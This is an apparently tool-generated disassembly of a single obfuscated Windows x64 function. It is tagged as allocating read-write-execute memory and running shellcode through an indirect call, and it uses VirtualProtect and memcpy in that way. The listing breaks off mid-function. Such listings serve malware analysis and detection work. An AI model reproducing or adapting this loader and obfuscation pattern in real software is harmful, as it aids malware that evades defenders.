Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xe0], xmm6
mov rax, qword [0x1400a6008]
xor rax, rbp
mov qword [rbp + 0xd8], rax
mov eax, dword [0x1400a6668]
mov r8d, dword [0x1400a6664]
lea r9d, [rax - 1]
imul r9d, eax
mov r10d, r9d
not r10d
mov eax, r10d
and eax, 0xc50b24be
mov edx, r9d
and edx, 0x3af4db41
or edx, eax
mov eax, edx
not eax
and eax, 0x3af4db41
and edx, 0xc50b24be
or edx, eax
mov ecx, edx
not ecx
and edx, 0xff3dce31
mov eax, ecx
and eax, 0xc231ce
or eax, edx
xor eax, 0x47c8b7b1
and ecx, 0xb8f57980
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb24d6ba4
and ecx, 0x4db2945b
or ecx, eax
mov edx, ecx
xor edx, 0x4db2945b
mov ebx, r10d
and ebx, 0x470a867f
mov eax, r9d
and eax, 0xb8f57980
or eax, ebx
not eax
or eax, r10d
mov edi, eax
not edi
mov r11d, ecx
xor r11d, 0xb24d6ba4
and eax, 0x2388ea18
mov esi, edi
and esi, 0xdc7715e7
or esi, eax
mov eax, esi
xor eax, 0xdc7715e7
xor ecx, 0x15b1cf03
and ecx, r11d
mov ebx, edx
and ebx, 0xa7fca4a7
xor esi, 0x2388ea18
mov r14d, eax
and r14d, 0x58035b58
and edi, 0xa7fca4a7
or edi, r14d
mov r14d, ecx
and r14d, ebx
xor ebx, ecx
or ebx, r14d
mov ecx, ebx
not ecx
and ecx, edi
not edi
and edi, ebx
or edi, ecx
mov ecx, edx
and ecx, 0x490e8e1f
and r11d, 0xb6f171e0
or r11d, ecx
or edx, esi
and esi, 0x490e8e1f
and eax, 0xb6f171e0
or eax, esi
xor eax, r11d
not edx
or edx, eax
not edx
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xb8f57980
and eax, edx
not edx
and edx, 0x30707900
and ecx, 0x88850080
or ecx, edx
xor ecx, 0x88850080
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov r11d, r10d
and r11d, r9d
mov ecx, r10d
and ecx, r11d
xor r11d, r10d
or r11d, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
mov edx, eax
not edx
and edx, 0xd931894c
and eax, 0x26ce76b2
or eax, edx
mov edx, eax
xor edx, 0x60202
xor eax, 0xd931894d
mov edi, ecx
not edi
mov esi, edi
and esi, 0x7fd8fdf4
and ecx, 0x8027020b
or ecx, esi
or edi, eax
and eax, 0x7fd8fdf4
and edx, 0x8027020a
or edx, eax
xor edx, ecx
not edi
or edi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x97c6e5ec
and edi, 0x68391a13
or edi, ecx
xor edi, 0x68391a12
or edi, eax
mov ecx, r10d
and ecx, 0xbef3e130
mov eax, r9d
xor eax, 0xbef3e130
and eax, r9d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x410c1ecf
and eax, 0xbef3e130
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
mov esi, eax
not esi
mov ebx, edx
and ebx, 0x987889ed
and ecx, 0x67877612
or ecx, ebx
or edx, esi
and esi, 0x987889ed
and eax, 0x67877612
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
xor eax, 0xc5fd7e2f
and eax, edx
not edx
and edx, 0xc5fd7e2f
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3a0281d0
and eax, 0xc5fd7e2f
or eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x79c7455f
mov esi, eax
and esi, 0x8638baa0
or esi, ecx
xor esi, 0x8638baa0
mov ecx, edi
and ecx, esi
xor esi, edi
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x852f489e
and esi, 0x7ad0b761
or esi, ecx
mov r14d, esi
xor r14d, 0x6a003760
xor esi, 0x852f489e
mov ecx, edi
xor ecx, eax
not ecx
and ecx, eax
and ebx, 0x539247f4
and eax, 0xac6db80b
or eax, ebx
xor eax, 0x539247f4
or eax, edi
mov ebx, eax
not ebx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x1bb7a754
and ecx, 0xe44858ab
or ecx, edx
or edi, eax
and eax, 0x1bb7a754
and ebx, 0xe44858ab
or ebx, eax
xor ebx, ecx
not edi
or edi, ebx
mov ecx, edi
not ecx
mov r12d, esi
or r12d, ecx
mov eax, r12d
not eax
and esi, 0x10f7c01b
and r14d, 0xef083fe4
or r14d, esi
and ecx, 0x10f7c01b
and edi, 0xef083fe4
or edi, ecx
xor edi, r14d
mov ecx, edi
not ecx
mov edx, r12d
and edx, 0xcd2cdea6
and eax, 0x32d32159
or eax, edx
or r12d, ecx
and ecx, 0xcd2cdea6
and edi, 0x32d32159
or edi, ecx
xor edi, eax
not r12d
or r12d, edi
mov eax, r11d
not eax
and eax, 0x2a02d421
and r11d, 0x1202080
or r11d, eax
xor r11d, 0x1202080
or r11d, 0xd4dd0b5e
mov eax, r11d
not eax
mov ecx, r10d
and ecx, 0x2b22f4a1
and r9d, 0xd4dd0b5e
or r9d, ecx
xor r10d, r9d
and r10d, r9d
mov edx, r10d
not edx
and r10d, r11d
or r11d, edx
not r11d
and edx, eax
or edx, r10d
mov eax, r11d
and eax, edx
xor edx, r11d
or edx, eax
mov esi, edx
xor esi, 0x84883b0a
and esi, edx
not edx
and edx, 0x84883b0a
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov eax, esi
not eax
and eax, 0x50553054
and esi, 0xafaacfab
or esi, eax
mov edx, r12d
not edx
mov r9d, r12d
or r9d, 0xeabc1b94
mov r11d, r9d
not r11d
mov r10d, r12d
mov r14d, edx
mov edi, r12d
and r12d, edx
mov r15d, edx
and r15d, r12d
xor r12d, edx
or edx, 0x1543e46b
mov eax, edx
not eax
and r9d, 0xd4a1a1eb
and r11d, 0x1424400
or r11d, r9d
and edx, 0xd4a1a1eb
and eax, 0x2a1c1a14
or eax, edx
xor eax, r11d
mov edx, eax
not edx
and edx, 0xeabc1b94
and eax, 0x1543e46b
or eax, edx
mov edx, esi
and edx, eax
not eax
mov ecx, esi
not ecx
and eax, ecx
or eax, edx
mov edx, eax
xor edx, ecx
and edx, eax
and ecx, 0xd43900a1
mov eax, esi
and eax, 0xb02b000
or eax, ecx
xor eax, 0xb02b000
and esi, 0x20c44f5e
or esi, eax
mov eax, esi
not eax
and eax, 0x1a8cff1
and esi, 0xfe57300e
or esi, eax
mov eax, esi
xor eax, 0x2028000d
xor esi, 0x90914700
and esi, 0x91d5c7a2
and eax, 0x6e2a385d
or eax, esi
mov ecx, eax
xor ecx, 0x4e0a0858
xor eax, 0x91d5c7a2
and r10d, 0x20343207
and r14d, 0xdfcbcdf8
or r14d, r10d
or edi, eax
and eax, 0x20343207
and ecx, 0xdfcbcdf8
or ecx, eax
xor ecx, r14d
not edi
or edi, ecx
mov ecx, edi
not ecx
mov eax, edx
not eax
and ecx, eax
or eax, edi
mov esi, eax
not esi
and edi, edx
or edi, ecx
mov ecx, edi
not ecx
mov edx, eax
and edx, 0x69df30bf
and esi, 0x9620cf40
or esi, edx
or eax, ecx
and ecx, 0x69df30bf
and edi, 0x9620cf40
or edi, ecx
xor edi, esi
not eax
or eax, edi
or r12d, r15d
mov r9d, eax
not r9d
mov ecx, r9d
or ecx, 0x5c8812c8
mov edx, ecx
not edx
mov ebx, r12d
xor ebx, 0x5c8812c8
and ebx, r12d
not r12d
and r12d, 0x5c8812c8
mov esi, eax
or esi, 0xa3112125
and esi, 0xbf9123e5
mov edi, r9d
and edi, 0x40081008
or edi, esi
and ecx, 0xbf9123e5
and edx, 0x66cc12
or edx, ecx
xor edx, edi
mov ecx, r12d
and ecx, ebx
xor ebx, r12d
or ebx, ecx
mov ecx, edx
not ecx
and ecx, ebx
not ebx
and ebx, edx
or ebx, ecx
mov ecx, ebx
not ecx
and r9d, ecx
and ebx, eax
or ebx, r9d
xor ecx, ebx
test ecx, ebx
sete byte [rbp + 0x3e]
cmp r8d, 0xa
setl byte [rbp + 0x3f]
movabs rax, 0x71d7ef96dd8b48f3
movabs rcx, 0x5784bb9c7e818187
add rcx, rax
movabs rax, 0x174599ec706fbbd6
add rcx, rax
movabs r10, 0xaea8ffab90fbf1be
add rcx, r10
sub r10, rcx
movabs rcx, 0xecbf785a66a214f3
sub r10, rcx
add r10, rax
add r10, rcx
movabs r9, 0xdd612ee8967194a
movabs rax, 0x5d0ae33944193e4d
add rax, r9
sub r9, rax
movabs rax, 0x921561d9617ccfeb
sub r9, rax
movabs rax, 0xe6f2b2e7f345b4
movabs r8, 0x1d721e4de9f00938
add r8, rax
movabs rcx, 0x467bc3014665e546
movabs rax, 0xd867eedf3c037234
add rax, rcx
movabs rcx, 0xa3a5dad1744932fa
sub rcx, rax
mov qword [rbp - 0x60], rcx
movabs rax, 0x5ef0e015dd0b70d1
movabs rcx, 0xc5c3d828370c7adc
mov rdx, rcx
sub rdx, rax
sub rdx, rcx
movabs rax, 0x19d8f4e5bd68bf5c
add rdx, rax
movabs rax, 0x8ca3e3d4c8d0fd26
sub rax, rdx
mov qword [rbp - 0x58], rax
movabs rax, 0x366cd69393b0a01c
movabs rcx, 0xc62ee55ebe81a5b3
add rcx, rax
movabs rax, 0x9fb7898f09a757e0
mov rdx, rax
sub rdx, rcx
movabs rcx, 0x79e45b928fb8302
add rdx, rcx
sub rdx, rax
mov qword [rbp - 0x50], rdx
movabs rax, 0xa3b21e95a6afb1c7
movabs rcx, 0xa17992705cb4111e
add rcx, rax
movabs rdx, 0x2cb6ae088ba50a1d
add rcx, rdx
movabs rax, 0x24cba7fe8ad48798
add rcx, rax
sub rdx, rcx
movabs rcx, 0x71b5c9045938e27c
add rdx, rcx
movabs rax, 0xd761900e5a7a4af2
sub rdx, rax
sub rdx, rcx
mov qword [rbp - 0x48], rdx
movabs rcx, 0x414f5d53cccc0301
movabs rdx, 0x71228d000fa940fb
add rdx, rcx
movabs r11, 0xaaa3267b8e1ac91e
add r11, rdx
sub r11, rcx
movabs rcx, 0xf98075e511516c7e
movabs rdi, 0x3e1bf7f7e9cfffcc
add rdi, rcx
movabs rcx, 0xbb9e3cf5a8ba3d1
add rdi, rcx
movabs rdx, 0x4b3ab8204cc7bf5b
sub rdi, rdx
sub rdi, rcx
movabs rcx, 0xf7b33827fcf90143
add rdi, rcx
sub rdi, rax
sub rdi, rcx
movabs rax, 0x6deeada63cda9bb1
add rdi, rax
add rdi, rdx
sub rdi, rax
movabs rax, 0x379c6ddcfb216c4a
sub rdi, rax
mov qword [rbp - 0x38], rdi
movabs rax, 0xf91aedd14998f32a
movabs rdx, 0xe8902eb424f7a17a
add rdx, rax
movabs rax, 0x8fce9e3c1142e067
movabs rcx, 0xc27e01025f5be430
add rcx, rax
mov qword [rbp - 0x28], rcx
movabs rax, 0xd7c8618f08eb030
movabs rdi, 0x94e7bf0065dac47e
add rdi, rax
movabs rbx, 0x34067806b3dd2b14
movabs rax, 0x7e94cdf8906f318c
add rax, rbx
movabs rcx, 0xd49d15143e3a969c
add rcx, rax
sub rbx, rcx
movabs rax, 0x70c8e1dd4fac8324
movabs rcx, 0xebbba941c8fbe946
add rcx, rax
movabs rax, 0xaa9e5fbcea3c86df
movabs rsi, 0xbb99780442952c8d
add rsi, rax
mov qword [rbp - 8], rsi
movabs rax, 0xc4b5b3b23d655f8b
movabs rsi, 0x10ebdba4d9fc582e
add rax, rsi
mov qword [rbp], rax
movabs rax, 0x5c2e25de45b63e12
add r10, rax
mov qword [rbp - 0x78], r10
movabs rax, 0xd641d4db7765e525
add r9, rax
movabs rax, 0xfd1be3b3f85fed01
add r9, rax
mov qword [rbp - 0x70], r9
movabs rax, 0x4f0033bfa06aaa31
add r8, rax
mov qword [rbp - 0x68], r8
movabs rax, 0xf03279a60e6a71c3
sub r11, rax
mov qword [rbp - 0x40], r11
movabs rax, 0xb8136b18c6f32316
sub rdx, rax
mov qword [rbp - 0x30], rdx
movabs rax, 0xda883c9fc7e47e98
movabs rdx, 0x4f8e602201e994c8
add rax, rdx
mov qword [rbp + 8], rax
movabs rax, 0xdf2d46a9d430b732
add rdi, rax
mov qword [rbp - 0x20], rdi
movabs rax, 0x90a746dae34423de
add rbx, rax
mov qword [rbp - 0x18], rbx
movabs rax, 0x6fe245bb79eafbe2
sub rcx, rax
movabs rax, 0xea57e214787a35f3
sub rcx, rax
mov qword [rbp - 0x10], rcx
xorps xmm6, xmm6
mov eax, 0x863cd2f6
mov dword [rbp + 0x18], ecx
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x1fd01907
jle 0x1400019e0
cmp eax, 0x60017082
jle 0x140002730
cmp eax, 0x6d00872f
jg 0x140004d23
cmp eax, 0x6ac06dff
jle 0x1400064df
cmp eax, 0x6ac06e00
je 0x14000abd4
cmp eax, 0x6b4252df
je 0x14000abe7
cmp eax, 0x6b94ca13
jne 0x140001970
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [0x14004d2d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov eax, 0x7a7e7f38
cmp eax, 0x1fd01907
jg 0x140001977
nop dword [rax]
cmp eax, 0xce4c0cd8
jg 0x1400026e0
cmp eax, 0xb38d85f5
jg 0x140004d65
cmp eax, 0x9ef1265a
jle 0x14000743b
cmp eax, 0x9ef1265b
je 0x14000ac10
cmp eax, 0xac0daa92
je 0x14000c4de
cmp eax, 0xac7f74ee
jne 0x140001970
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x48]
mov dword [rax], 0
mov r12, qword [rbp + 0xc0]
mov edx, dword [r12 + 8]
mov r15, qword [rbp + 0xc0]
mov r8d, dword [r15 + 0xc]
mov rcx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x98]
movabs rax, 0x12264802276b8921
mov r10, rax
movabs rbx, 0xf440b1c126babb24
lea rcx, [rbx + rax]
sub rbx, rcx
mov rcx, qword [rbp + 0x98]
movabs rsi, 0xf448733c524fb35d
sub rcx, rsi
movabs rdi, 0x306e9344b26f3b95
add rcx, rdi
add rcx, rsi
movabs rsi, 0xa737dfbfe1712394
add rcx, rsi
movabs rax, 0xdcc61fbb68df74f7
mov r9, rax
add rcx, rax
sub rcx, rsi
movabs rsi, 0x340a4d345b31242
add rcx, rsi
sub rcx, rdi
sub rcx, rsi
movabs rdi, 0x433beed45f36c0ba
add rcx, rdi
movabs rsi, 0x402f7c1acbe73cfe
add rcx, rsi
movabs rax, 0xc78273a4bc91cba5
add rcx, rax
sub rcx, rsi
movabs rax, 0x42d0049051768d07
sub rcx, rax
sub rcx, rdi
add rcx, rax
movabs rax, 0xb8d64a670e3a443e
add rcx, rax
sub rcx, r9
movabs rdi, 0xf9bc413cfde90104
sub rcx, rdi
sub rcx, rax
add rcx, rdi
movabs rax, 0xf7ad23a20988c3a3
sub rcx, rax
movabs rdi, 0x539a1c3cede97d77
sub rcx, rdi
add rcx, rax
movabs rax, 0x667a7cc2c864b50c
add rcx, rax
movabs rsi, 0x4fc2b6a6eccb1cfe
sub rcx, rsi
sub rcx, rax
movabs r9, 0x4df8936ed21e1782
add rcx, r9
add rcx, rsi
add rcx, rdi
movabs rax, 0x27de6ad9fe1fe94e
add rcx, rax
movabs rdi, 0x7a3d8387c4742029
add rcx, rdi
add rbx, rax
sub rbx, rcx
movabs rax, 0x620550311d7ac207
add rbx, rax
movabs rax, 0x657d23739f17099e
add rbx, rax
add rbx, rdi
movabs rcx, 0x907ef7c96bed7370
add rbx, rcx
add rbx, r10
sub rcx, rbx
movabs rax, 0x743db8a6ec1b7b9a
add r8, rax
movabs rdi, 0x18c403c7af92c8fa
mov rbx, rdi
sub rbx, r8
add rbx, rax
movabs rax, 0xd6b93511517e3c7f
sub rbx, rax
sub rbx, rdi
add rbx, rax
movabs rax, 0x2de081bb46ee4936
add rbx, rax
sub rax, rbx
movabs rbx, 0xd248cf2ee0082ac
add rax, rbx
sub rbx, rax
movabs rax, 0xb9890993e6afbe3e
mov r10, rax
add rcx, rax
movabs rdi, 0x2aab75bb6fb796e3
add rcx, rdi
movabs rsi, 0xe1a089570338760c
mov r8, rsi
add rcx, rsi
movabs rsi, 0x68b46ea5115c3082
add rbx, rsi
movabs rax, 0x41889c154725b2b2
mov r11, rax
add rbx, rax
sub rbx, rsi
sub rbx, rcx
add rbx, rdi
add rbx, r10
movabs rcx, 0xd104740487b7ed74
mov rdi, rcx
add rbx, rcx
add rbx, r8
movabs rcx, 0xe13c5ccace1cc79e
mov rsi, rcx
add rbx, rcx
movabs rax, 0xf7f6395afd8a365f
mov rcx, rax
sub rcx, rbx
add rcx, r11
add rcx, rdi
sub rcx, rax
add rcx, rsi
movabs rax, 0x973d01e95c6d007c
mov rbx, rax
add rax, r9
add rcx, rbx
movabs rbx, 0xa753fa8b07e20d04
add rax, rbx
sub rcx, rax
movabs rax, 0xe0ac3cc59ce328b6
add rcx, rax
add rcx, rbx
movabs rbx, 0xb51c05a9d68a47e5
add rcx, rbx
sub rcx, rax
sub rcx, rbx
mov r9, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x40
mov rsi, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rsi
add rsp, 0x20
mov r14d, dword [r15 + 0xc]
mov rcx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x98]
movabs rdi, 0x86d024877b183a58
mov rcx, rdi
movabs rbx, 0xf41f8a53320985be
sub rcx, rbx
mov rdx, qword [rbp + 0x98]
add rdx, rdi
movabs rdi, 0x2b6a77fa03e046c8
add rcx, rdi
sub rdx, rcx
movabs rcx, 0x307191e53a9a00d8
add rdx, rcx
add rdx, rdi
movabs rdi, 0x966627a0b83d6ef
add rdx, rdi
movabs rsi, 0xaba62eff9134b353
sub rdx, rsi
sub rdx, rdi
movabs rdi, 0xe29b6c121d587584
sub rdx, rdi
sub rdx, rcx
add rdx, rdi
add rdx, rsi
movabs rcx, 0x141d3b8da8c03a48
mov rdi, rcx
add rdx, rcx
movabs rsi, 0x271b3204637b70d8
mov rcx, rsi
sub rcx, rdx
add rcx, rdi
movabs rdx, 0x4d8aa8c614ebe72f
mov rdi, rdx
sub rcx, rdx
sub rcx, rsi
movabs rdx, 0x6b1403eb3efc7f51
add rcx, rdx
movabs rsi, 0xac16823a478e3fc8
mov r9, rsi
add rcx, rsi
movabs rax, 0x34912fdea85772f6
add rcx, rax
sub rdx, rcx
sub rdx, rdi
movabs rcx, 0x9540799c896dbd62
sub rdx, rcx
add rdx, rax
add rdx, rcx
movabs rax, 0x95145a1cf0f125f
movabs rcx, 0x32011f08dff837a
mov rdi, rcx
add rcx, rax
movabs rsi, 0x4d2d7469b659fc54
mov r11, rsi
add rcx, rsi
sub rcx, rax
movabs rax, 0xb9d0298ec3fac677
sub rcx, rax
sub rcx, rdi
sub rcx, rdx
add rcx, rbx
add rcx, rax
movabs rax, 0x7be1d54a1a70d072
add rcx, rax
movabs rdx, 0x36953e9ade1205ac
sub rcx, rdx
sub rcx, rax
add rcx, rdx
movabs rax, 0x9f310eb70ae9f47c
mov r13, rax
add rcx, rax
movabs rdi, 0x7989d691e9b2d582
mov r10, rdi
add rcx, rdi
movabs rdx, 0xafb7d7d826f425f0
mov rdi, rdx
add rdx, r14
movabs rbx, 0x4fb04ad78f900d9
mov rsi, rbx
add rdx, rbx
movabs r8, 0x61fb8110523f2bfd
mov rbx, r8
movabs rax, 0x4f35f93dcfe787a
sub rbx, rax
sub rbx, rdx
add rbx, rsi
add rbx, rdi
add rbx, rax
movabs rax, 0x77e535bdeb9f155a
sub rbx, rax
sub rbx, r8
mov rdx, r13
sub rdx, rcx
add rdx, r11
movabs rcx, 0xd2843694b9b152cf
add rdx, rcx
sub rcx, rdx
movabs rdx, 0xe4e65ce7ffaaaff6
add rcx, rdx
movabs rdi, 0x98a647e664b062cd
sub rcx, rdi
add rcx, rbx
add rcx, rax
add rcx, rdi
movabs rax, 0xf9fcfdcb1abd23
add rcx, rax
sub rcx, rdx
sub rcx, rax
movabs rax, 0x7019ee450e6601a1
add rcx, rax
movabs rdx, 0x320980534d6ad981
sub rcx, rdx
sub rcx, rax
movabs rax, 0xd1f27aa5158c0764
add rcx, rax
sub rcx, r10
sub rcx, rax
movabs rax, 0x39bfe3a800244a39
add rcx, rax
add rcx, rdx
mov rdx, rax
sub rdx, rcx
movabs rax, 0x248f0b4cddd56ca7
sub rdx, rax
movabs rcx, 0xd10fe5a1bc1e9a4c
sub rdx, rcx
add rdx, rax
movabs rax, 0xf53b679cb356bcc3
add rdx, rax
add rdx, rcx
movabs rcx, 0x441a7bca24a97843
sub rdx, rcx
sub rdx, rax
add rdx, rcx
movabs rax, 0x5f6112e405e4947e
add rdx, rax
movabs rbx, 0x15608231207043d0
add rdx, rbx
sub rdx, rax
movabs rax, 0x99e24ec4a799727
sub rdx, rax
movabs rcx, 0xed2d97989acd8634
mov rdi, rcx
sub rdx, rcx
add rdx, rax
movabs rax, 0x3f2722c4617f7d5b
add rdx, rax
sub rbx, rdx
add rbx, rax
movabs rcx, 0x4220eeef02f564a6
add rbx, rcx
sub rcx, rbx
movabs r13, 0xa0633e6e01c1097a
add rcx, r13
movabs rax, 0xe0e101bda8bf399a
mov rdx, rax
add rcx, rax
movabs rax, 0x74000a9f53b542d8
sub rcx, rax
sub rcx, rdx
movabs rdx, 0xd043c92bf7426911
add rcx, rdx
add rcx, rdi
sub rcx, rdx
add rcx, rax
movabs r11, 0x4b90567562377cae
sub rcx, r11
movabs rax, 0xa7341ff2eb943e23
add rcx, rax
movabs rdx, 0x8b55decc4b21cf47
add rcx, rdx
sub rdx, r9
add rdx, rax
sub rcx, rdx
movabs rax, 0xff3216a4104b36b0
mov rbx, rax
sub rbx, qword [rbp + 0x90]
sub rbx, rax
movabs rax, 0x523679d7c7e293c6
mov rdx, rax
sub rbx, rax
movabs rax, 0x1648bb22729f29f6
mov rdi, rax
sub rbx, rax
add rbx, rdx
movabs rdx, 0x9e5be4bda948f193
add rbx, rdx
sub rdx, rbx
movabs rax, 0x365a0b2eb7a9f9e6
sub rdx, rax
movabs rbx, 0x1549b0c2b070d122
sub rdx, rbx
add rdx, rax
movabs rax, 0xb5f3b827e9d41d78
sub rdx, rax
movabs rsi, 0x417d8afc6652e7b8
sub rdx, rsi
add rdx, rax
add rdx, rbx
movabs rax, 0xe0e09567ab2ce5db
mov rbx, rax
add rdx, rax
movabs rax, 0x93d698585bb20a3c
add rdx, rax
sub rdx, rdi
sub rdx, rax
movabs rax, 0x45207564dda6bb76
add rdx, rax
sub rdx, rbx
sub rdx, rax
movabs rax, 0x757efd9274191325
sub rdx, rax
movabs rbx, 0xd370a439db3f3940
sub rdx, rbx
add rdx, rax
movabs rax, 0xbdcb9b92af01e4ce
add rdx, rax
movabs rax, 0xd7f1fb5bf62ba4da
add rdx, rax
add rdx, rbx
sub rdx, rax
movabs rax, 0x6849c8520ee16a81
sub rdx, rax
movabs rbx, 0x7fb5e3d04a6b3a82
sub rdx, rbx
add rdx, rax
movabs rax, 0xe34b868e5d558a43
add rdx, rax
movabs rdi, 0xbcbc8be9e76636cf
sub rdx, rdi
sub rdx, rax
movabs rax, 0xc47ee1957bf70f14
add rdx, rax
add rdx, rbx
sub rdx, rax
movabs rax, 0xcad3b24e72face77
sub rdx, rax
movabs rbx, 0x65bd40b21e150a6b
sub rdx, rbx
add rdx, rax
movabs rax, 0xf8556ca016ade015
sub rdx, rax
add rdx, rsi
add rdx, rax
movabs rax, 0xb264cfe502b3541
sub rdx, rax
add rdx, rbx
add rdx, rax
movabs rax, 0xf8b33d5e56bbda82
add rdx, rax
movabs rbx, 0x3b85ce5b0c2fc37d
add rdx, rbx
sub rdx, rax
movabs rax, 0x4c3f62b3cb9fb144
add rdx, rax
add rdx, rdi
sub rdx, rax
movabs rax, 0xcbbfb71d9f408120
sub rdx, rax
sub rdx, rbx
add rdx, rax
mov rbx, qword [rbp - 0x60]
sub rbx, r14
movabs rax, 0xa3a5dad1744932fa
sub rbx, rax
movabs rax, 0x7e24513034267984
mov rsi, rax
sub rbx, rax
movabs rax, 0x58ecf65fbacc7c1e
mov rdi, rax
sub rbx, rax
movabs rax, 0x467bc3014665e546
add rbx, rax
add rbx, rsi
movabs rax, 0x47813db04ced775e
mov rsi, rax
add rbx, rax
movabs rax, 0x27981120c3fc8dcc
sub rax, rbx
add rax, rsi
sub rax, rdi
movabs rdi, 0x73118655ff9d22e4
mov rbx, rdi
sub rbx, rdx
sub rbx, rdi
movabs rdx, 0x4c85c60449ae8492
sub rbx, rdx
movabs rdi, 0x778c279c7381c61c
sub rbx, rdi
add rbx, rdx
movabs rdx, 0x5c8c972b17fd3453
add rbx, rdx
movabs rsi, 0x3b3cd58e11050d91
add rbx, rsi
sub rax, rbx
add rax, rdx
movabs rdx, 0xc2db9ab0d721d503
sub rax, rdx
add rax, rsi
add rax, rdx
movabs rdx, 0x5c7664ffe859e34e
sub rax, rdx
sub rax, rdi
movabs rbx, 0x308e146deeedcd59
add rax, rbx
add rax, rdx
movabs rdx, 0x437a297801d73a0f
add rax, rdx
sub rax, rbx
sub rax, rdx
movabs rdx, 0x74c68eb56838e674
mov rdi, rdx
movabs rbx, 0xa7a8677b1e3203fe
add rdx, rbx
sub rbx, rdx
movabs rdx, 0x9431f61a93b656b8
add rbx, rdx
movabs r8, 0x14b04f39695eca3
sub rbx, r8
sub rbx, rdx
movabs rdx, 0x2a8716aeced6e16a
sub rax, rdx
add rax, rbx
add rax, rdi
movabs rbx, 0xe8a2700c0a5ce4bf
add rax, rbx
add rax, rdx
movabs rdi, 0x5473424f45ec6f29
mov rdx, rdi
sub rdx, rax
add rdx, rbx
mov rax, rdi
sub rax, rdx
movabs rbx, 0xab7de091e0384760
movabs rdx, 0xd8dba2d296bfcec3
mov r9, rdx
add rdx, rbx
sub rbx, rdx
movabs rdx, 0x973afe6563170a18
mov r10, rdx
add rbx, rdx
movabs rdx, 0x4234646d50fe1b32
sub rdx, rbx
movabs rbx, 0x75245f9b700292e4
add rcx, rbx
add rcx, r11
sub rcx, rbx
movabs rbx, 0x7923b771da2f9a13
sub rcx, rbx
movabs rsi, 0x2f12aafc68595567
mov rdi, rsi
sub rcx, rsi
add rcx, rbx
movabs rbx, 0x105e10b0571ea0ef
sub rcx, rbx
movabs rsi, 0x20f33896b6773d92
sub rcx, rsi
sub rcx, r13
add rcx, rbx
movabs rbx, 0xe78658c62a47bc35
sub rcx, rbx
add rcx, rsi
add rcx, rbx
movabs rbx, 0x105bc0625d6dc13a
mov rsi, rbx
add rcx, rbx
movabs rbx, 0x17dff93ea382d0de
add rcx, rbx
sub rcx, rsi
add rcx, rdi
movabs rsi, 0x6c33c025fe9373d6
add rcx, rsi
sub rcx, rbx
sub rcx, rsi
movabs rbx, 0x95973d633fba1aec
sub rax, rbx
add rdx, r10
sub rdx, r9
add rdx, rax
add rdx, rbx
movabs rax, 0xa23be610464dcfc
add rdx, rax
movabs rbx, 0xd2b7d534a7f80f88
add rdx, rbx
sub rdx, rax
sub rdx, rbx
movabs rax, 0xc54ab9798811a957
sub rdx, rax
movabs rbx, 0x3d35f472e289def5
mov rsi, rbx
sub rdx, rbx
add rdx, rax
movabs rax, 0x452e967c6ddde19f
mov rbx, rax
add rdx, rax
movabs rdi, 0x7ab508d41fe33321
mov rax, rdi
sub rax, rdx
add rax, rbx
sub rax, r8
sub rax, rdi
movabs rdx, 0xd55ecf96cbead8de
mov rbx, rdx
add rax, rdx
movabs rdi, 0xd96b0a2301d43b9
mov rdx, rdi
sub rdx, rax
add rdx, rbx
add rdx, rsi
movabs rax, 0x2f9c4d6d0f9e3c66
sub rdx, rax
sub rdx, rdi
add rdx, rax
mov r8d, dword [r12 + 8]
sub rsp, 0x20
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov r8d, dword [rax]
mov edx, dword [r12 + 8]
mov eax, dword [r15 + 0xc]
mov rcx, qword [rbp - 0x58]
sub rcx, rax
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0x98]
movabs rax, 0x8ca3e3d4c8d0fd26
sub rcx, rax
add rcx, qword [rbp - 0x50]
movabs rax, 0x19d8f4e5bd68bf5c
add rcx, rax
movabs rax, 0x1e5c3fb79a5da89
mov rdi, rax
sub rcx, rax
movabs rax, 0x79e45b928fb8302
sub rcx, rax
movabs rax, 0x3a4fbb1f75dfedb2
mov rbx, rax
sub rcx, rax
add rcx, rdi
movabs rax, 0x8fdd939d1d763054
add rcx, rax
movabs rdi, 0xcead0a8b57383b51
mov rax, rdi
sub rax, rcx
mov rcx, qword [rbp + 0x98]
sub rax, rbx
sub rax, rdi
movabs rbx, 0xd17e2df49239d0de
mov r9, rbx
sub rax, rbx
movabs rbx, 0x713119fec6069e2a
sub rcx, rbx
movabs rdi, 0x159bc316368e0ae2
add rcx, rdi
movabs rsi, 0x2dc0154982be9d74
sub rcx, rsi
sub rcx, rdi
add rcx, rbx
movabs rbx, 0x2ecc05bd6ffcdebb
mov rdi, rbx
add rcx, rbx
movabs rbx, 0xa65be1a1fd00df05
